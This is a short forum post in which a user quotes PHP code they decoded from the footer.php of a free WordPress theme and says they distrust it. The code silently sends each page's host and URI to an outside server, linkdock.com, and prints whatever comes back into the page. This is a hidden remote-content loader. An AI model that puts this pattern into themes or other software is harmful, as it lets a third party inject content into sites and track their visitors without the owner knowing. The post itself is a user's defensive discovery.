I just downloaded a free WP theme and I like to check the code as well, so I decoded the footer.php and found
Code:
error_reporting(0);
$CodeURL = "http://linkdock.com/content.php?id=&host=".urlencode($_SERVER["HTTP_HOST"])."&uri=".urlencode($_SERVER["REQUEST_URI"]);
if ((intval(get_cfg_var("allow_url_fopen")) || intval(ini_get("allow_url_fopen"))) && function_exists("file_get_contents")) {
echo @file_get_contents($CodeURL);
} elseif ((intval(get_cfg_var("allow_url_fopen")) || intval(ini_get("allow_url_fopen"))) && function_exists("file")) {
$content = @file($CodeURL);
echo @join("", $content);
} elseif (function_exists("curl_init")) {
$ch = curl_init($CodeURL);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
I'm not sure what it's doing, but I don't like it.